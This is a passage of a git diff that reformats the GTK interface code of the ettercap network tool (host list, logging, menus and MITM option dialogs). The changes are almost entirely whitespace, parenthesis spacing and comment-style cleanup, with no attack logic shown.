gtk_tree_view_column_set_sort_column_id(column, 1); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("Description", renderer, "text", 2, NULL); - gtk_tree_view_column_set_sort_column_id (column, 2); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("Description", renderer, "text", 2, NULL); + gtk_tree_view_column_set_sort_column_id(column, 2); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); /* populate the list or at least allocate a spot for it */ gtkui_refresh_host_list(NULL); - + /* set the elements */ - gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (liststore)); + gtk_tree_view_set_model(GTK_TREE_VIEW(treeview), GTK_TREE_MODEL(liststore)); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 0, TRUE); - gtk_box_pack_start(GTK_BOX (vbox), hbox, FALSE, FALSE, 0); + gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); gtk_widget_show(hbox); button = gtk_button_new_with_mnemonic("_Delete Host"); - gtk_box_pack_start(GTK_BOX (hbox), button, TRUE, TRUE, 0); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_button_callback), &host_delete); + gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_button_callback), &host_delete); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("Add to Target _1"); - gtk_box_pack_start(GTK_BOX (hbox), button, TRUE, TRUE, 0); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_button_callback), &host_target1); + gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_button_callback), &host_target1); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("Add to Target _2"); - gtk_box_pack_start(GTK_BOX (hbox), button, TRUE, TRUE, 0); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_button_callback), &host_target2); + gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_button_callback), &host_target2); gtk_widget_show(button); context_menu = gtk_menu_new(); @@ -287,23 +288,22 @@ void gtkui_host_list(void) g_signal_connect(G_OBJECT(treeview), "button-press-event", G_CALLBACK(gtkui_context_menu), context_menu); - gtk_widget_show(hosts_window); } static void gtkui_hosts_detach(GtkWidget *child) { hosts_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); - gtk_window_set_title(GTK_WINDOW (hosts_window), "Hosts list"); - gtk_window_set_default_size(GTK_WINDOW (hosts_window), 400, 300); - g_signal_connect (G_OBJECT (hosts_window), "delete_event", G_CALLBACK (gtkui_hosts_destroy), NULL); + gtk_window_set_title(GTK_WINDOW(hosts_window), "Hosts list"); + gtk_window_set_default_size(GTK_WINDOW(hosts_window), 400, 300); + g_signal_connect(G_OBJECT(hosts_window), "delete_event", G_CALLBACK(gtkui_hosts_destroy), NULL); - gtk_container_add(GTK_CONTAINER (hosts_window), child); + gtk_container_add(GTK_CONTAINER(hosts_window), child); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(hosts_window, gtkui_hosts_attach); - gtk_window_present(GTK_WINDOW (hosts_window)); + gtk_window_present(GTK_WINDOW(hosts_window)); } static void gtkui_hosts_attach(void) @@ -326,7 +326,7 @@ void gtkui_hosts_destroy(void) */ gboolean gtkui_refresh_host_list(gpointer data) { - GtkTreeIter iter; + GtkTreeIter iter; struct hosts_list *hl; char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; @@ -336,29 +336,29 @@ gboolean gtkui_refresh_host_list(gpointer data) (void)data; DEBUG_MSG("gtk_refresh_host_list"); - /* The list store contains a 4th column that is NOT displayed - by the treeview widget. This is used to store the pointer - for each entry's structure. */ - - if(liststore) - gtk_list_store_clear(GTK_LIST_STORE (liststore)); + /* The list store contains a 4th column that is NOT displayed + * by the treeview widget. This is used to store the pointer + * for each entry's structure. */ + + if (liststore) + gtk_list_store_clear(GTK_LIST_STORE(liststore)); else - liststore = gtk_list_store_new (4, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_POINTER); + liststore = gtk_list_store_new(4, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_POINTER); /* walk the hosts list */ LIST_FOREACH(hl, &GBL_HOSTLIST, next) { - /* enlarge the list */ - gtk_list_store_append (liststore, &iter); + /* enlarge the list */ + gtk_list_store_append(liststore, &iter); /* fill the element */ - gtk_list_store_set (liststore, &iter, - 0, ip_addr_ntoa(&hl->ip, tmp), - 1, mac_addr_ntoa(hl->mac, tmp2), - 3, hl, -1); + gtk_list_store_set(liststore, &iter, + 0, ip_addr_ntoa(&hl->ip, tmp), + 1, mac_addr_ntoa(hl->mac, tmp2), + 3, hl, -1); if (hl->hostname) { - gtk_list_store_set (liststore, &iter, 2, hl->hostname, -1); + gtk_list_store_set(liststore, &iter, 2, hl->hostname, -1); } else { /* resolve the hostname (using the cache) */ - if(host_iptoa(&hl->ip, name) == -E_NOMATCH) { + if (host_iptoa(&hl->ip, name) == -E_NOMATCH) { gtk_list_store_set(liststore, &iter, 2, "resolving...", -1); struct resolv_object *ro; SAFE_CALLOC(ro, 1, sizeof(struct resolv_object)); @@ -368,9 +368,8 @@ gboolean gtkui_refresh_host_list(gpointer data) ro->column = 2; ro->ip = &hl->ip; g_timeout_add(1000, gtkui_iptoa_deferred, ro); - } - else - gtk_list_store_set (liststore, &iter, 2, name, -1); + } else + gtk_list_store_set(liststore, &iter, 2, name, -1); } } @@ -388,55 +387,54 @@ void gtkui_button_callback(GtkWidget *widget, gpointer data) gint *type = data; /* variable not used */ - (void) widget; + (void)widget; if (type == NULL) - return; + return; - model = GTK_TREE_MODEL (liststore); + model = GTK_TREE_MODEL(liststore); - if(gtk_tree_selection_count_selected_rows(selection) > 0) { - list = gtk_tree_selection_get_selected_rows (selection, &model); - for(list = g_list_last(list); list; list = g_list_previous(list)) { + if (gtk_tree_selection_count_selected_rows(selection) > 0) { + list = gtk_tree_selection_get_selected_rows(selection, &model); + for (list = g_list_last(list); list; list = g_list_previous(list)) { gtk_tree_model_get_iter(model, &iter, list->data); gtk_tree_model_get(model, &iter, 3, &hl, -1); - switch(*type) { - case HOST_DELETE: - DEBUG_MSG("gtkui_button_callback: delete host"); - gtk_list_store_remove(GTK_LIST_STORE (liststore), &iter); - - /* remove the host from the list */ - LIST_REMOVE(hl, next); - SAFE_FREE(hl->hostname); - SAFE_FREE(hl); - break; - case HOST_TARGET1: - DEBUG_MSG("gtkui_button_callback: add target1"); - /* add the ip to the target */ - add_ip_list(&hl->ip, GBL_TARGET1); - gtkui_create_targets_array(); - - USER_MSG("Host %s added to TARGET1\n", ip_addr_ntoa(&hl->ip, tmp)); - break; - case HOST_TARGET2: - DEBUG_MSG("gtkui_button_callback: add target2"); - /* add the ip to the target */ - add_ip_list(&hl->ip, GBL_TARGET2); - gtkui_create_targets_array(); - - USER_MSG("Host %s added to TARGET2\n", ip_addr_ntoa(&hl->ip, tmp)); - break; + switch (*type) { + case HOST_DELETE: + DEBUG_MSG("gtkui_button_callback: delete host"); + gtk_list_store_remove(GTK_LIST_STORE(liststore), &iter); + + /* remove the host from the list */ + LIST_REMOVE(hl, next); + SAFE_FREE(hl->hostname); + SAFE_FREE(hl); + break; + case HOST_TARGET1: + DEBUG_MSG("gtkui_button_callback: add target1"); + /* add the ip to the target */ + add_ip_list(&hl->ip, GBL_TARGET1); + gtkui_create_targets_array(); + + USER_MSG("Host %s added to TARGET1\n", ip_addr_ntoa(&hl->ip, tmp)); + break; + case HOST_TARGET2: + DEBUG_MSG("gtkui_button_callback: add target2"); + /* add the ip to the target */ + add_ip_list(&hl->ip, GBL_TARGET2); + gtkui_create_targets_array(); + + USER_MSG("Host %s added to TARGET2\n", ip_addr_ntoa(&hl->ip, tmp)); + break; } } /* free the list of selections */ - g_list_foreach (list,(GFunc) gtk_tree_path_free, NULL); - g_list_free (list); + g_list_foreach(list, (GFunc)gtk_tree_path_free, NULL); + g_list_free(list); } } - /* EOF */ // vim:ts=3:expandtab diff --git a/src/interfaces/gtk/ec_gtk_live.c b/src/interfaces/gtk/ec_gtk_live.c index 14eb91ff9..fb6d1bd4f 100644 --- a/src/interfaces/gtk/ec_gtk_live.c +++ b/src/interfaces/gtk/ec_gtk_live.c @@ -1,30 +1,29 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include /*******************************************/ - /* the interface */ void gtkui_sniff_live(void) @@ -34,8 +33,6 @@ void gtkui_sniff_live(void) gtkui_create_menu(1); /* online menus */ } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/gtk/ec_gtk_logging.c b/src/interfaces/gtk/ec_gtk_logging.c index 96a16b51b..f519c89f0 100644 --- a/src/interfaces/gtk/ec_gtk_logging.c +++ b/src/interfaces/gtk/ec_gtk_logging.c @@ -1,23 +1,23 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -47,7 +47,7 @@ void toggle_compress(void) } /* - * display the log dialog + * display the log dialog */ void gtkui_log_all(void) { @@ -60,21 +60,21 @@ void gtkui_log_all(void) SAFE_CALLOC(logfile, FILE_LEN, sizeof(char)); dialog = gtk_file_chooser_dialog_new("Save all to logfile...", - GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, - GTK_STOCK_SAVE, GTK_RESPONSE_OK, - NULL); + GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + GTK_STOCK_SAVE, GTK_RESPONSE_OK, + NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), "."); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { - gtk_widget_hide(dialog); - filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); - gtk_widget_destroy(dialog); - memcpy(logfile, filename, FILE_LEN); - g_free(filename); - log_all(); + gtk_widget_hide(dialog); + filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); + gtk_widget_destroy(dialog); + memcpy(logfile, filename, FILE_LEN); + g_free(filename); + log_all(); } else { - gtk_widget_destroy(dialog); + gtk_widget_destroy(dialog); } } @@ -91,7 +91,7 @@ static void log_all(void) } /* - * display the log dialog + * display the log dialog */ void gtkui_log_info(void) { @@ -105,21 +105,21 @@ void gtkui_log_info(void) SAFE_CALLOC(logfile, FILE_LEN, sizeof(char)); dialog = gtk_file_chooser_dialog_new("Save infos to logfile...", - GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, - GTK_STOCK_SAVE, GTK_RESPONSE_OK, - NULL); + GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + GTK_STOCK_SAVE, GTK_RESPONSE_OK, + NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), "."); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { - gtk_widget_hide(dialog); - filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); - gtk_widget_destroy(dialog); - memcpy(logfile, filename, FILE_LEN); - g_free(filename); - log_info(); + gtk_widget_hide(dialog); + filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); + gtk_widget_destroy(dialog); + memcpy(logfile, filename, FILE_LEN); + g_free(filename); + log_info(); } else { - gtk_widget_destroy(dialog); + gtk_widget_destroy(dialog); } } @@ -142,13 +142,13 @@ void gtkui_stop_log(void) } /* - * display the log dialog + * display the log dialog */ void gtkui_log_msg(void) { GtkWidget *dialog; gchar *filename; - + DEBUG_MSG("gtk_log_msg"); /* make sure to free if already set */ @@ -156,22 +156,22 @@ void gtkui_log_msg(void) SAFE_CALLOC(logfile, FILE_LEN, sizeof(char)); dialog = gtk_file_chooser_dialog_new("Safe Log Messages in file...", - GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, - GTK_STOCK_SAVE, GTK_RESPONSE_OK, - NULL); + GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + GTK_STOCK_SAVE, GTK_RESPONSE_OK, + NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), "."); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { - gtk_widget_hide(dialog); - filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); - gtk_widget_destroy(dialog); - memcpy(logfile, filename, FILE_LEN); - g_free(filename); - log_msg(); + gtk_widget_hide(dialog); + filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); + gtk_widget_destroy(dialog); + memcpy(logfile, filename, FILE_LEN); + g_free(filename); + log_msg(); } else { - gtk_widget_destroy(dialog); + gtk_widget_destroy(dialog); } } @@ -196,4 +196,3 @@ void gtkui_stop_msg(void) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/gtk/ec_gtk_menus.c b/src/interfaces/gtk/ec_gtk_menus.c index 720304dc8..91c0b3949 100644 --- a/src/interfaces/gtk/ec_gtk_menus.c +++ b/src/interfaces/gtk/ec_gtk_menus.c @@ -1,23 +1,23 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -36,8 +36,8 @@ void gtkui_create_menu(int live) GClosure *closure = NULL; gint keyval; GdkModifierType mods; - - const gchar *menu_structure = + + const gchar *menu_structure = "" " " " " @@ -116,12 +116,11 @@ void gtkui_create_menu(int live) " " ""; - GtkActionEntry start_menu_items[] = { /* Start Menu */ { - "StartMenuAction", NULL, - "_Start", NULL, + "StartMenuAction", NULL, + "_Start", NULL, NULL, NULL }, @@ -295,7 +294,7 @@ void gtkui_create_menu(int live) }, #endif - { + { "StopMitmAttacksAction", NULL, "Stop mitm attack(s)", NULL, NULL, G_CALLBACK(gtkui_mitm_stop) @@ -442,7 +441,7 @@ void gtkui_create_menu(int live) DEBUG_MSG("gtk_create_menu"); /* remove old menu, it will be automatically destroyed by gtk_main */ - vbox = gtk_bin_get_child(GTK_BIN (window)); + vbox = gtk_bin_get_child(GTK_BIN(window)); main_menu = gtk_ui_manager_get_widget(menu_manager, "/MenuBar"); gtk_widget_hide(main_menu); gtk_ui_manager_remove_ui(menu_manager, merge_id); @@ -484,28 +483,26 @@ void gtkui_create_menu(int live) } /* Some hidden accellerators */ - accel_group = gtk_accel_group_new (); + accel_group = gtk_accel_group_new(); closure = g_cclosure_new(G_CALLBACK(gtkui_exit), NULL, NULL); gtk_accelerator_parse("X", &keyval, &mods); gtk_accel_group_connect(accel_group, keyval, mods, 0, closure); gtk_window_add_accel_group(GTK_WINDOW(window), accel_group); gtk_window_add_accel_group(GTK_WINDOW(window), gtk_ui_manager_get_accel_group(menu_manager)); - - - if(GBL_OPTIONS->reversed) { + if (GBL_OPTIONS->reversed) { GBL_OPTIONS->reversed = 0; action = gtk_ui_manager_get_action(menu_manager, "/MenuBar/TargetsMenu/ReverseMatching"); gtk_toggle_action_set_active(GTK_TOGGLE_ACTION(action), TRUE); } - if(GBL_OPTIONS->resolve) { + if (GBL_OPTIONS->resolve) { GBL_OPTIONS->resolve = 0; action = gtk_ui_manager_get_action(menu_manager, "/MenuBar/ViewMenu/ResolveIpAddresses"); gtk_toggle_action_set_active(GTK_TOGGLE_ACTION(action), TRUE); } - if(GBL_OPTIONS->compress) { + if (GBL_OPTIONS->compress) { GBL_OPTIONS->compress = 0; action = gtk_ui_manager_get_action(menu_manager, "/MenuBar/LoggingMenu/LogCompressed"); gtk_toggle_action_set_active(GTK_TOGGLE_ACTION(action), TRUE); @@ -526,7 +523,6 @@ void gtkui_create_menu(int live) main_menu = gtk_ui_manager_get_widget(menu_manager, "/MenuBar"); gtk_box_pack_start(GTK_BOX(vbox), main_menu, FALSE, FALSE, 0); gtk_widget_show(main_menu); - } void gtkui_create_tab_menu(void) @@ -536,16 +532,16 @@ void gtkui_create_tab_menu(void) GtkActionGroup *tabactions; GError *error = NULL; - static gchar *tab_menu_structure = - "" - " " - " " - " " - " " - " " - " " - " " - ""; + static gchar *tab_menu_structure = + "" + " " + " " + " " + " " + " " + " " + " " + ""; GtkActionEntry tab_menu_items[] = { { @@ -581,9 +577,9 @@ void gtkui_create_tab_menu(void) gtk_ui_manager_insert_action_group(tab_menu_manager, tabactions, 0); gtk_ui_manager_add_ui_from_string(tab_menu_manager, tab_menu_structure, -1, &error); if (error) { - g_message("building tab menu failed: %s", error->message); - g_error_free(error); - error = NULL; + g_message("building tab menu failed: %s", error->message); + g_error_free(error); + error = NULL; } /* Add Accelerators */ @@ -594,8 +590,6 @@ void gtkui_create_tab_menu(void) g_signal_connect(G_OBJECT(notebook), "button-press-event", G_CALLBACK(gtkui_context_menu), context); } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/gtk/ec_gtk_mitm.c b/src/interfaces/gtk/ec_gtk_mitm.c index bfe7b49a7..e4d3fbc0d 100644 --- a/src/interfaces/gtk/ec_gtk_mitm.c +++ b/src/interfaces/gtk/ec_gtk_mitm.c @@ -1,23 +1,23 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -31,7 +31,7 @@ static void gtkui_start_mitm(void); #define PARAMS_LEN 512 -static char params[PARAMS_LEN+1]; +static char params[PARAMS_LEN + 1]; /*******************************************/ @@ -43,17 +43,17 @@ void gtkui_arp_poisoning(void) gboolean oneway = FALSE; DEBUG_MSG("gtk_arp_poisoning"); -// not needed, the \0 is already appended from snprintf -// memset(params, '\0', PARAMS_LEN+1); +// not needed, the \0 is already appended from snprintf +// memset(params, '\0', PARAMS_LEN+1); - dialog = gtk_dialog_new_with_buttons("MITM Attack: ARP Poisoning", GTK_WINDOW (window), - GTK_DIALOG_MODAL, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, - GTK_STOCK_OK, GTK_RESPONSE_OK, + dialog = gtk_dialog_new_with_buttons("MITM Attack: ARP Poisoning", GTK_WINDOW(window), + GTK_DIALOG_MODAL, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); - gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); + gtk_container_set_border_width(GTK_CONTAINER(dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) - gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); + gtk_dialog_set_has_separator(GTK_DIALOG(dialog), FALSE); #endif hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); @@ -61,59 +61,59 @@ void gtkui_arp_poisoning(void) gtk_container_add(GTK_CONTAINER(content_area), hbox); gtk_widget_show(hbox); - image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); - gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); - gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); + image = gtk_image_new_from_stock(GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); + gtk_misc_set_alignment(GTK_MISC(image), 0.5, 0.1); + gtk_box_pack_start(GTK_BOX(hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Optional parameters"); - gtk_container_set_border_width(GTK_CONTAINER (frame), 5); - gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); + gtk_container_set_border_width(GTK_CONTAINER(frame), 5); + gtk_box_pack_start(GTK_BOX(hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 2, FALSE); - gtk_container_set_border_width(GTK_CONTAINER (vbox), 5); - gtk_container_add(GTK_CONTAINER (frame), vbox); + gtk_container_set_border_width(GTK_CONTAINER(vbox), 5); + gtk_container_add(GTK_CONTAINER(frame), vbox); gtk_widget_show(vbox); button1 = gtk_check_button_new_with_label("Sniff remote connections."); - gtk_box_pack_start(GTK_BOX (vbox), button1, FALSE, FALSE, 0); + gtk_box_pack_start(GTK_BOX(vbox), button1, FALSE, FALSE, 0); gtk_widget_show(button1); button2 = gtk_check_button_new_with_label("Only poison one-way."); - gtk_box_pack_start(GTK_BOX (vbox), button2, FALSE, FALSE, 0); + gtk_box_pack_start(GTK_BOX(vbox), button2, FALSE, FALSE, 0); gtk_widget_show(button2); response = gtk_dialog_run(GTK_DIALOG(dialog)); - if(response == GTK_RESPONSE_OK) { + if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); const char *s_remote = "", *comma = "", *s_oneway = ""; - if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) { - s_remote="remote"; - remote = TRUE; + if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button1))) { + s_remote = "remote"; + remote = TRUE; } - if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) { - if(remote) - comma = ","; + if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button2))) { + if (remote) + comma = ","; - s_oneway = "oneway"; + s_oneway = "oneway"; oneway = TRUE; - } + } - if(!remote && !oneway) { + if (!remote && !oneway) { ui_error("You must select at least one ARP mode"); return; } - snprintf(params, PARAMS_LEN+1, "arp:%s%s%s", s_remote, comma, s_oneway); + snprintf(params, PARAMS_LEN + 1, "arp:%s%s%s", s_remote, comma, s_oneway); gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: - gtkui_input_call("Parameters :", params + strlen("arp:"), PARAMS_LEN - strlen("arp:"), gtkui_start_mitm); + * gtkui_input_call("Parameters :", params + strlen("arp:"), PARAMS_LEN - strlen("arp:"), gtkui_start_mitm); */ } @@ -124,14 +124,14 @@ void gtkui_icmp_redir(void) DEBUG_MSG("gtk_icmp_redir"); - dialog = gtk_dialog_new_with_buttons("MITM Attack: ICMP Redirect", GTK_WINDOW (window), - GTK_DIALOG_MODAL, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + dialog = gtk_dialog_new_with_buttons("MITM Attack: ICMP Redirect", GTK_WINDOW(window), + GTK_DIALOG_MODAL, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); - gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); + gtk_container_set_border_width(GTK_CONTAINER(dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) - gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); + gtk_dialog_set_has_separator(GTK_DIALOG(dialog), FALSE); #endif hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); @@ -139,51 +139,51 @@ void gtkui_icmp_redir(void) gtk_container_add(GTK_CONTAINER(content_area), hbox); gtk_widget_show(hbox); - image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); - gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); - gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); + image = gtk_image_new_from_stock(GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); + gtk_misc_set_alignment(GTK_MISC(image), 0.5, 0.1); + gtk_box_pack_start(GTK_BOX(hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Gateway Information"); - gtk_container_set_border_width(GTK_CONTAINER (frame), 5); - gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); + gtk_container_set_border_width(GTK_CONTAINER(frame), 5); + gtk_box_pack_start(GTK_BOX(hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); table = gtk_table_new(2, 2, FALSE); - gtk_table_set_row_spacings(GTK_TABLE (table), 5); - gtk_table_set_col_spacings(GTK_TABLE (table), 5); - gtk_container_set_border_width(GTK_CONTAINER (table), 8); - gtk_container_add(GTK_CONTAINER (frame), table); + gtk_table_set_row_spacings(GTK_TABLE(table), 5); + gtk_table_set_col_spacings(GTK_TABLE(table), 5); + gtk_container_set_border_width(GTK_CONTAINER(table), 8); + gtk_container_add(GTK_CONTAINER(frame), table); gtk_widget_show(table); label = gtk_label_new("MAC Address"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); - gtk_table_attach(GTK_TABLE (table), label, 0, 1, 0, 1, GTK_FILL, GTK_FILL, 0, 0); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); + gtk_table_attach(GTK_TABLE(table), label, 0, 1, 0, 1, GTK_FILL, GTK_FILL, 0, 0); gtk_widget_show(label); entry1 = gtk_entry_new(); - gtk_entry_set_max_length(GTK_ENTRY (entry1), ETH_ASCII_ADDR_LEN); - 